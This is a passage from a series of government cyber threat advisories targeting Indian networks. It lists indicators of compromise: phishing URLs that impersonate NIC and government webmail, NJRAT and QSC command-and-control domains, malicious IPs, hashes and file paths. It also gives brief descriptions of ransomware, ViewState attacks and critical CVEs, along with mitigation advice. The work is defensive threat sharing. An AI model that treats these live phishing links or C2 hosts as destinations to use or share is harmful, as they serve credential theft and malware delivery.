miracle-receives-lightbox-brighton.trycloudflare.com

encyclopedia-command-erp-gerald.trycloudflare.com

kendychop.shop

correspondence-wages-desperate-president.trycloudflare.com

native-shipments-forty-polar.trycloudflare.com

phases-none-referenced-consultation.trycloudflare.com

request-fr-geology-nobody.trycloudflare.com

payhostmsa.shop

pension-playlist-se-cherry.trycloudflare.com

teen-promised-pens-endless.trycloudflare.com

signals-becoming-moms-pour.trycloudflare.com

burlington-causing-antique-safely.trycloudflare.com

fill-bet-intended-photo.trycloudflare.com

haven-quantity-bring-exclusion.trycloudflare.com

terrorists-cultures-wallpaper-tabs.trycloudflare.com

hepatitis-packed-convert-annually.trycloudflare.com

louise-monitors-mo-rating.trycloudflare.com

installing-prizes-zinc-corruption.trycloudflare.com

receivers-ranch-buddy-incl.trycloudflare.com

struck-texas-claire-manufacture.trycloudflare.com

shaft-paint-assignments-ice.trycloudflare.com

temple-improvement-one-escape.trycloudflare.com

falling-switzerland-method-sandra.trycloudflare.com

funk-lucas-mandate-freedom.trycloudflare.com

playing-res-alert-rational.trycloudflare.com

loads-comment-cdt-rc.trycloudflare.com

trackmyshipwng.site

views-insight-tribal-wav.trycloudflare.com

genius-griffin-instance-formatting.trycloudflare.com

volume-optical-troy-kings.trycloudflare.com

cho-lecture-weights-blink.trycloudflare.com

ordinary-wild-victorian-victory.trycloudflare.com

documents-enquiry-jan-meet.trycloudflare.com

acres-removal-love-warcraft.trycloudflare.com

offerings-came-bars-considered.trycloudflare.com

bk-haiti-future-surely.trycloudflare.com

worst-suppliers-tournament-yen.trycloudflare.com

innocent-template-intensity-updated.trycloudflare.com

basics-illustration-searching-bless.trycloudflare.com

pad-grant-resources-genuine.trycloudflare.com

lose-croatia-acdbentity-lt.trycloudflare.com

nasdaq-aged-sf-cheers.trycloudflare.com

cabinets-buddy-crop-suzuki.trycloudflare.com

cia-starts-franklin-staff.trycloudflare.com

pacific-oo-identifier-description.trycloudflare.com

trackmyshipmng.site

aerospace-reporters-purposes-wx.trycloudflare.com

discounted-pressed-lc-vcr.trycloudflare.com

plane-emacs-jackets-fever.trycloudflare.com

welsh-js-reggae-hits.trycloudflare.com

luck-transaction-en-function.trycloudflare.com

trackmyshipang.site

robshippings.cloud

utility-headquarters-bangladesh-yeast.trycloudflare.com

burrkeklprinting.tech

momojojo.store

trackmyshipnng.site

yourself-references-exhibitions-advisors.trycloudflare.com

wiring-ellis-panels-darwin.trycloudflare.com

australian-jews-wise-enhanced.trycloudflare.com

laws-behalf-ld-sapphire.trycloudflare.com

proportion-burden-arbitrary-wood.trycloudflare.com

replied-jerusalem-proposals-ending.trycloudflare.com

shopfiy.org

deck-analyzed-intersection-modeling.trycloudflare.com

shippingmentnotice.xyz

label-arctic-alive-full.trycloudflare.com

tiny-fixtures-glossary-advantage.trycloudflare.com

wv-happened-received-summit.trycloudflare.com

chip-rail-lowest-islands.trycloudflare.com

law-provinces-tune-model.trycloudflare.com

portsmouth-american-dependence-arrow.trycloudflare.com

memphis-counter-fo-profit.trycloudflare.com

easter-citizen-ko-referrals.trycloudflare.com

kim-oasis-settled-pro.trycloudflare.com

yard-nodes-relay-compiler.trycloudflare.com

indonesian-jerry-ann-yoga.trycloudflare.com

cars-southeast-hydraulic-pda.trycloudflare.com

dx-appliance-encyclopedia-opinion.trycloudflare.com

ceeaapaint.xyz

yrs-lonely-investor-geneva.trycloudflare.com

sailing-became-stops-maple.trycloudflare.com

tunisia-raleigh-fare-odd.trycloudflare.com

yu-stewart-passes-chen.trycloudflare.com

info-jam-no-pas.trycloudflare.com

mixer-brake-tan-cleaner.trycloudflare.com

rear-eg-listings-turtle.trycloudflare.com

sit-rural-flashers-icq.trycloudflare.com

interviews-medicare-can-deals.trycloudflare.com

belkin-living-assistant-glad.trycloudflare.com

diana-mf-publications-mx.trycloudflare.com

onedrive.bounceme.net

coffee-bars-link-appeal.trycloudflare.com

niagara-weeks-hometown-moisture.trycloudflare.com

posters-dial.com

dial-posters-corporations-des.trycloudflare.com

attempted-errors-safety-specialized.trycloudflare.com

shipwarelogistic.org

district-austria-tragedy-understand.trycloudflare.com

principles-yours-respected-skirt.trycloudflare.com

**IPs:**

193.143.1.46

154.216.16.111

37.60.252.188

149.202.8.115

216.173.64.63

92.118.57.244

209.126.2.226

149.102.132.238

185.29.11.28

91.92.251.195

101.99.94.234

101.99.92.154

185.161.208.63

45.144.214.27

101.99.92.203

45.66.231.150

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC END\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

1. **TA-PHI-2025-02-10-008**

It has been observed that adversaries are targeting government personnel using spoofed/compromised email IDs, malicious domains, Phishing web pages and Vishing techniques. The email contains an attachment file named "MoS Defence Letter brief dated 3 Feb.pdf" which contains a hyperlink "https://email.gov.in.defenceindia.link/service/home/?auth=co&id=29238&filename=MIN%20OF%20Def%20Army%20Integrated%20Headquarters%20&charset=UTF-8" with the title "View Document". Upon clicking, the hyperlink opens the phishing page of the NIC login page and seeks for username and password. The IP address and domain is malicious and currently active to potentially compromise the user credentials/propagate malware payload.

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC START\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

**URL:-**

https://email.gov.in.defenceindia.link/service/home/?auth=co&id=29238&filename=MIN%20OF%20Def%20Army%20Integrated%20Headquarters%20&charset=UTF-8

**Domain:-**

defenceindia.link

**IP:-**

176.65.139.63

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC END\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

1. **TA-RAN-2025-02-10-003**

It has been observed that the Arcus Media ransomware is a significant threat in the cybersecurity landscape. It is Operating under Ransomware-as-a-Service (RaaS) model. The ransomware is characterized by advanced capabilities designed to maximize disruption and hinder recovery efforts.

**MITRE ATTACK IDENTIFIER:**

T1486 (Data Encrypted for Impact)

**Impacts:**

* Selective Encryption: The ransomware employs selective encryption techniques, encrypting files based on their size.
* Critical Process Disruption: It targets and terminates essential business processes, including SQL servers and email clients, leading to operational paralysis.
* Recovery Challenges: By deleting shadow backups and disabling recovery mechanisms, it complicates data restoration efforts.
* Data Exposure Threats: Victims face threats of public data leaks if ransom demands are not met, escalating the pressure to comply.
* Operational Success: The combination of advanced encryption and persistent disruption ensures high operational success for the attackers.
* Financial Impact: Organizations may suffer significant financial losses due to downtime and potential ransom payments.
* Reputational Damage: The threat of data leaks can severely damage an organization's reputation and customer trust.
* Legal Consequences: Victims may face legal issues related to data protection regulations like GDPR.

**Recommendations:**

* Use an antivirus or anti-malware tool to scan and remove malicious files. Most security software will allow you to perform a full system scan, identifying and quarantining or deleting threats.
* Ensure antivirus software is updated with the latest virus definitions. This can be done through the software's update function or by downloading the latest definitions from the vendor’s website.
* Ensure all systems and software are updated with the latest security patches to close any vulnerabilities exploited by the malware.
* Implement 2FA for all sensitive accounts, particularly for webmail, virtual private networks, and accounts that access critical systems to add additional layer of security
* Periodic backups and restoration tests to check the restoration integrity.
* Immediately disconnect the infected system from the network to prevent further spread of the malware. Immediately address any signs of unauthorized access by changing passwords, reviewing access logs, and securing compromised accounts.

1. **VA-2025-02-10-004**

**Cisco Released Security Updates for Cisco Identity Services Engine**

Cisco has released security updates to address insecure Java deserialization and authorization bypass vulnerabilities in Cisco Identity Services Engine.

CVE ID: CVE-2025-20124 (Critical), CVE-2025-20125 (Critical)

**Vulnerability in IBM Security Verify Directory**

An arbitrary command execution vulnerability has been discovered in IBM Security Verify Directory. The affected versions are IBM Security Verify Directory 10.0.0 through 10.0.3.

CVE ID: CVE-2024-51450 (Critical)

**Vulnerability in OpenImageIO**

A heap overflow vulnerability has been discovered in OpenImageIO. The affected version is OpenImageIO v3.1.0.0dev.

CVE ID: CVE-2024-55192 (Critical)

**Vulnerability in Build App Online**

A PHP remote file inclusion vulnerability has been discovered in Build App Online. The affected versions are Build App Online from n/a through 1.0.23.

CVE ID: CVE-2024-49649 (Critical)

**Vulnerability in Cleo**

A vulnerability has been discovered in Cleo Harmony, VLTrader and LexiCom that allows to import and execute arbitrary bash or PowerShell commands on the host system by leveraging the default settings of the Autorun directory.

CVE ID: CVE-2024-55956 (Critical)

**Vulnerability in Zyxel**

An insecure default credentials vulnerability has been discovered in the Telnet function of legacy DSL CPE Zyxel. The affected version is legacy DSL CPE Zyxel VMG4325-B10A firmware version 1.00(AAFR.4)C0\_20170615.

CVE ID: CVE-2025-0890 (Critical)

**Vulnerability in Dell**

A use of a broken or risky cryptographic algorithm vulnerability has been discovered in Dell RecoverPoint for VMs that leads to remote execution. The affected version is Dell RecoverPoint for VMs version 6.0.x.

CVE ID: CVE-2024-28980 (Critical)

**Vulnerability in SCG Policy Manager**

A Cross-Origin Resource Policy (CORP) vulnerability has been discovered in SCG Policy Manager that leads to the execution of malicious actions on the application in the context of the authenticated user.

CVE ID: CVE-2024-37131 (Critical)

**Multiple Vulnerabilities in Elber's Equipment**

Multiple vulnerabilities in Elber's Equipment- Communications Equipment that allow administrative access to the affected device. The affected versions are Signum DVB-S/S2 IRD versions 1.999 and prior, Cleber/3 Broadcast Multi-Purpose Platform version 1.0, Reble610 M/ODU XPIC IP-ASI-SDH version 0.01, ESE DVB-S/S2 Satellite Receiver versions 1.5.179 and prior and Wayber Analog/Digital Audio STL version 4.

CVE ID: CVE-2025-0674 (Critical), CVE-2025-0675 (High)

**Vulnerability in AutomationDirect's Equipment**

A buffer overflow vulnerability has been discovered in AutomationDirect's Equipment- C-more EA9 HMI that allows Denial of Service (DoS) condition or achieve Remote Code Execution (RCE) on the affected device. The mitigations are available.

CVE ID: CVE-2025-0960 (Critical)

**Ubuntu Released Security Updates**

Ubuntu has released security updates to address several vulnerabilities in OpenRefine. The affected products are Ubuntu 24.10, Ubuntu 24.04 LTS, and Ubuntu 22.04 LTS.

CVE ID: CVE-2024-47882 (Medium), CVE-2023-41886 (High), CVE-2023-41887 (Critical), CVE-2024-47881 (High), CVE-2024-47879 (High), CVE-2024-47878 (Medium), CVE-2023-37476 (High), CVE-2024-23833 (High), CVE-2024-47880 (Medium), CVE-2024-49760 (Medium)

**Vulnerability in WP Directorybox Manager plugin**

An authentication bypass vulnerability has been discovered in the WP Directorybox Manager plugin for WordPress. The affected versions are WP Directorybox Manager plugin up to and including, 2.5.

CVE ID: CVE-2025-0316 (Critical)

**Vulnerability in itsourcecode Tailoring Management System**

A SQL injection vulnerability has been discovered in itsourcecode Tailoring Management System. The affected version is itsourcecode Tailoring Management System 1.0.

CVE ID: CVE-2025-0944 (Critical)

**Vulnerability in Astoundify Jobify - Job Board WordPress Theme**

A missing authorization vulnerability has been discovered in Astoundify Jobify - Job Board WordPress Theme for WordPress. The affected versions are Jobify - Job Board WordPress Theme: from n/a through 4.2.3.

CVE ID: CVE-2024-52480 (Critical)

**Vulnerability in CRM Perks Forms**

A missing authorization vulnerability has been discovered in CRM Perks Forms. The affected versions are CRM Perks Forms from n/a through 1.1.5.

CVE ID: CVE-2024-37463 (Critical)

**Vulnerability in Easy Digital Downloads**

A SQL injection vulnerability has been discovered in Easy Digital Downloads. The affected versions are Easy Digital Downloads from n/a through 3.2.12.

CVE ID: CVE-2024-5057 (Critical)

**Vulnerability in JetBrains TeamCity**

An authentication bypass vulnerability has been discovered in JetBrains TeamCity. The affected versions are JetBrains TeamCity before 2022.04.7, 2022.10.6, 2023.05.6, 2023.11.5.

CVE ID: CVE-2024-36470 (Critical)

**Vulnerability in Bitdefender GravityZone Update Server**

An incorrect regular expression vulnerability has been discovered in Bitdefender GravityZone Update Server that causes Server Side Request Forgery (SSRF) and reconfigures the relay. The affected versions are Bitdefender Endpoint Security for Linux version 7.0.5.200089, Bitdefender Endpoint Security for Windows version 7.9.9.380 and GravityZone Control Center (On Premises) version 6.36.1.

CVE ID: CVE-2024-2223 (Critical)

**Vulnerability in Flowmon**

An operating system command injection vulnerability has been discovered in Flowmon. The affected versions are Flowmon versions prior to 11.1.14 and 12.3.5.

CVE ID: CVE-2024-2389 (Critical)

1. **VA-2025-02-11-005**

Please find attached pdf of the Prominent Vulnerability List, which comprises a list of vulnerabilities present in cyberspace recently along with affected products, vulnerability descriptions and availability of patches.

**File Name:** Prominent Vulnerability List.pdf

**SHA256:** 14c491a086c168706417fdbc86a2e30321b3baf98185064526ad7dbbb22651c6

**Reference**:   CERT-IN [CMTX-P-VUL-022025505]

1. **TA-MAW-2025-02-11-011**

It has been observed that threat actors are using publicly accessible ASP.NET machine keys to inject malicious code into IIS servers and deploy the Godzilla post-exploitation framework. These keys are exposed due to developers accidentally leaving them in the public domain, such as in documentation or code repositories, or unintentionally embedding them in their applications. ASP.NET uses machine keys to safeguard ViewState data from tampering and unauthorized disclosure. ViewState is a mechanism that allows ASP.NET Web Forms to retain the state of a webpage and its controls across postbacks. Machine keys are essential for protecting ViewState from manipulation and exposure. If these machine keys are compromised or made accessible, attackers can craft a malicious ViewState specific to the targeted organization and send it to their web server. When the server processes the request, it could result in the execution of malicious code, leading to the installation of the Godzilla post-exploitation framework.

**Detecting/Hunting:**

• Microsoft has provided a list of hash values (available in the GitHub link below) for publicly disclosed machine keys. Use this list to check if any of your machine keys have been exposed in publicly accessible resources. If any are found, rotate or remove the compromised machine keys.

https://github.com/microsoft/mstic/blob/master/RapidReleaseTI/MachineKeys.csv

• Use Advanced Audit Policy settings to monitor configuration files and review Event ID 4663 in the Windows Security Event Log. This will help you identify any potential anomalies, unauthorized access, or suspicious file access attempts.

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC START\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

**HASH:**

19d87910d1a7ad9632161fd9dd6a54c8a059a64fc5f5a41cf5055cd37ec0499d

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC END\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

1. **TA-APT-2025-02-11-002**

Reference is made to earlier advisories on APT36 Campaign.

APT36 a.k.a. Transparent Tribe is deploying CrimsonRAT, a Remote Access Trojan (RAT) for cyber-espionage activities, particularly against government, defense, and military targets. CrimsonRAT allows attackers to remotely control infected systems, steal sensitive information, log keystrokes, capture screenshots, and exfiltrate data.

**Common Features of APT36 Threat Actor:**

* Spear-Phishing (highly targeted and convincing phishing emails to trick victims)
* Information Theft (documents, credentials, and personal data)
* Remote Access
* Credential Harvesting
* Data Exfiltration
* Persistence Mechanisms

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC START\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

**IP:**

45.61.151.96

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC END\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

1. **TA-MI-2025-02-11-002**

The presence of malicious IoCs has been found in Indian Cyberspace.

Please find below IOCs in this regard.

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC START\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

**IPs:**

172.168.40.219

104.40.74.178

62.210.90.216

104.152.52.38

119.18.58.248

143.198.220.152

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC END\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

1. **TA-MI-2025-02-13-003**

Based on analysis, please find below malicious IoCs targeting Critical Information Infrastructures (CII). Consider life span for malicious IP addresses at least 14 days.

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC START\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

**IPs:**

120.85.112.57

119.129.204.232

115.208.9.42

123.159.71.249

121.231.154.6

23.95.80.200

103.199.180.147

117.72.68.90

61.52.221.43

27.43.206.48

103.210.101.180

117.209.81.143

103.200.86.40

222.240.124.61

103.199.200.63

45.125.66.56

117.221.160.147

59.88.151.150

103.199.200.57

117.209.86.19

193.168.175.100

115.55.91.0

42.229.186.181

59.93.182.76

178.72.77.252

103.200.86.172

103.42.243.5

122.97.137.23

45.164.177.161

102.33.67.65

39.38.212.216

27.109.167.214

42.179.199.110

36.97.200.96

103.124.138.185

103.15.254.59

117.203.145.44

120.85.114.12

27.122.61.11

192.10.144.141

39.126.138.39

113.24.150.68

61.3.97.139

27.43.205.118

77.239.214.193

45.164.177.90

91.216.99.248

27.47.0.198

117.245.0.54

**URLs:-**

http://117.245.11.210:37149/

http://103.207.124.102:43843/

http://123.4.197.35:56783/

http://1.55.30.63:4844/

http://117.254.103.175:39903/

http://117.221.160.147:35592/

http://117.251.18.126:41379/

http://117.209.91.58:58244/

http://117.199.165.102:37354/

http://42.179.199.110:44655/

http://45.164.177.161:10455/

http://102.33.67.65:42019/

http://59.98.196.95:50232/

http://45.164.177.114:11739/

http://182.119.208.56:51285/

http://223.10.53.12:46962/

http://113.221.24.253:32992/

http://117.205.173.54:36733/

http://117.219.154.220:42796/

http://175.107.3.145:33632/

http://117.209.89.91:42963/

http://117.208.96.99:57487/

http://42.229.186.181:53271/

http://103.199.200.63:50618/

http://110.183.54.111:34550/

http://39.126.138.39:4872/

http://61.52.41.126:38820/

http://115.55.95.167:56424/

http://124.131.138.159:33709/

http://181.197.49.188:48191/

http://122.230.240.144:46203/

http://117.245.221.244:36688/

http://179.108.90.26:53632/

http://192.10.144.141:57129/

http://123.5.137.222:40359/

http://59.89.70.177:53999/

http://59.184.241.41:33159/

http://36.97.200.96:39309/

http://110.183.56.81:32795/

http://103.208.230.230:51867/

http://61.52.221.43:52645/

http://59.88.151.150:40823/

http://163.142.77.216:60034/

http://117.209.86.19:43446/

http://72.135.17.58:45659/

http://59.99.131.205:59021/

http://113.228.65.114:32799/

http://223.12.182.119:43596/

http://27.106.128.80:51326/

http://1.70.8.2:60598/

http://117.209.81.143:58256/

http://123.5.126.170:44260/

http://121.231.154.6:46168/

http://115.55.91.0:57356/

http://27.215.209.123:46779/

http://39.74.207.157:45434/

http://182.119.236.235:46775/

http://59.97.182.160:58752/

http://42.238.170.6:35922/

http://103.207.125.76:51809/

http://61.3.97.139:48970/

http://59.93.182.76:42439/

http://223.166.104.158:57766/

http://103.124.138.185:57663/

http://123.159.71.249:40519/

http://59.99.137.53:50323/

http://103.208.105.145:57053/

http://103.208.230.222:32898/

http://113.24.150.68:50103/

http://103.210.101.180:35090/

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC END\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

1. **TA-MAW-2025-02-13-013**

NJRAT is a.NET-based backdoor that uses a unique text-based protocol over TCP to communicate. The backdoor is capable of recording video, audio, screenshots, keystrokes, creating a reverse shell, transferring files, running files, stealing credentials, and spreading via USB drive. Malware has features to update its capabilities by getting plugins from a Command & Control (C2) server.

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC START\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

**Domains:**

9292.ddns.net

apimicrosoft.ddns.net

cj2004.duckdns.org

hakim32.ddns.net

hextoriq99.ddns.net

host-urge.at.ply.gg

koper.ddns.net

postpix.shop

sosomyhestor.ddns.net

viewi.publicvm.com

youri.mooo.com

6.tcp.eu.ngrok.io

7.tcp.eu.ngrok.io

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC END\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

1. **TA-PHI-2025-02-13-010**

It has been observed that adversaries are targeting government personnel using spoofed/compromised email IDs, malicious domains, Phishing web pages and Vishing techniques. The Email contains an attachment file named  "Payscale Revised.pdf", which further contains a hyperlink  "https://pcdaopune.gov.in.webmailnic.army/" with the title "View Document".  The IP address and domain is malicious and currently active to potentially compromise the user credentials/propagate malware payload.

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC START\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

**URL:-**

https://pcdaopune.gov.in.webmailnic.army/

**Domain:-**

webmailnic.army

**IP:-**

45.155.54.135

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC END\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

1. **TA-RAN-2025-02-13-005**

Reference is made to the earlier NCIIPC Advisory. The presence of AvosLocker Ransomware is observed in Indian CyberSpace.

Avoslocker, a Ransomware-as-a-Service double extortion group, employing a double extortion strategy where they first steal data before encrypting it and then ask for ransom not only for decrypting, but also threaten to release the data on a dedicated leak site unless a ransom is paid.

The Avos ransomware group's variant, AvosLocker, exploits Log4j CVE-2021-44228, CVE-2021-45046, CVE-2021-45105 & CVE-2021-44832 vulnerabilities to deliver ransomware. Adversary uses spam email campaigns as an initial infection vector.  Adversary deploys CobaltStrike, Silver and multiple network scanners for malicious activities.

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC START\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

**IP:**

198.46.215.243

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC END\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

1. **TA-TAG-2025-02-13-002**

The presence of an unknown threat actor has been observed in Indian CyberSpace.

Please find below IOC in this regard.

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC START\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

**Domains:**

aadhar-ucl.live

aadharnumberupdate.xyz

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC END\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

1. **TA-RAN-2025-02-13-006**

Presence of Unknown Ransomware Variant is observed in Indian CyberSpace.

Please find below IOCs in this regard.

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC START\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

IP:

217.196.98.142

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC END\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

1. **TA-MAW-2025-02-13-014**

It has been observed that CloudComputating group aka BackdoorDiplomacy, Faking Dragon have used QSC, a multi-plugin malware framework along with Quarian backdoor & GoClient backdoor to target the telecommunications sector. The malicious QSC framework includes a Loader, a Core module, a Network module, a Command Shell module and a File Manager module that is dropped either as a standalone executable or as a payload file along with a loader DLL. It loads and runs plugins in the memory.

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC START\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

**HASH:**

0fe65bbf23b0c589ad462e847e9bfcaf

**Domains:**

www.numupdate.com

www.pubsectors.com

www.delhiopera.com

asistechs.com

sanchaar.net

www.birdsvpn.com

newsinlevel.cc

**IP:**

108.61.206.206

**File paths:**

C:\Windows\L2Schemas\update.exe

C:\Windows\L2Schemas\update64.exe

C:\ProgramData\USOShared\msvcen.exe

c:\ProgramData\package cache\{d401961d-3a20-3ac7-943b-6139d5bd490a\dwn.exe

C:\Windows\System32\audio.dll

C:\Windows\System32\rasautosvc.dll

C:\Windows\L2Schemas\audio.dll

C:\programdata\usoshared\intop64.exe

C:\ProgramData\usoprivate\updatestore\intop64.exe

C:\ProgramData\package cache\{010792ba-551a-3ac0-a7ef-0fab4156c382}v12.0.40664\csrs.exe

C:\Windows\SysWOW64\appmgmt.dll

C:\Windows\L2Schemas\w3wpt.exe

C:\Windows\L2Schemas\we.exe

C:\Windows\L2Schemas\pf.exe

C:\Windows\L2Schemas\pt.exe

C:\Windows\L2Schemas\onlytcp.exe

C:\ProgramData\USOShared\to0.exe

C:\ProgramData\USOShared\fn.exe

C:\Windows\SysWOW64\drivers\c.bat

C:\Windows\SysWOW64\drivers\c.bat

C:\Windows\Temp\c.bat

c:\inetpub\temp\1.bat

C:\Windows\L2Schemas\E.bat

**PDB paths:**

C:\Users\abc\Desktop\vs\bin\module\qscexec\x64\release\qscexe.pdb

C:\Users\abc\Desktop\vs\bin\module\qscexec\x64\release\qscexe.pdb

C:\Users\abc\Desktop\vs\bin\module\qscexec\release\qscexe.pdb

C:\Users\abc\Desktop\vs\bin\module\qscexec\x64\release\qscexe.pdb

C:\Users\pig\Documents\qs-domainless\bin\module\qscexec\x64\release\qscexe.pdb

C:\Users\abc\Desktop\vs\bin\module\loader\x64\release\loader.pdb

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC END\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

1. **TA-PHI-2025-02-13-011**

It has been observed that government personnel have received phishing emails from spoofed / compromised email IDs and malicious domain. The email body contains a web link mentioning that *your NIC email will be deactivated, in order to avoid deactivation please click on link* https://email-govs.click

      These URL and IP addresses are malicious and currently active to potentially compromise the user credentials/propagate malware payload. It is advised not to click any URL link from an unknown sender(s).

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC START\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

**URL:**

https://email-govs.click

**IPs:**

104.21.112.1

104.21.16.1

104.21.80.1

104.21.32.1

104.21.48.1

104.21.96.1

104.21.64.1

\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*IOC END\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*\*

1. **TA-TAG-2025-02-13-003**

It has been observed that a threat actor, known as DragonRank is targeting publicly exposed, unpatched, or improperly configured Internet Information Services (IIS) servers. After gaining access, the adversary deploys the BadIIS malware and engages in SEO poisoning activities.

Initial Infection Vector: - Exploit the publicly exposed, unpatched, or improperly configured Internet Information Services (IIS) servers.

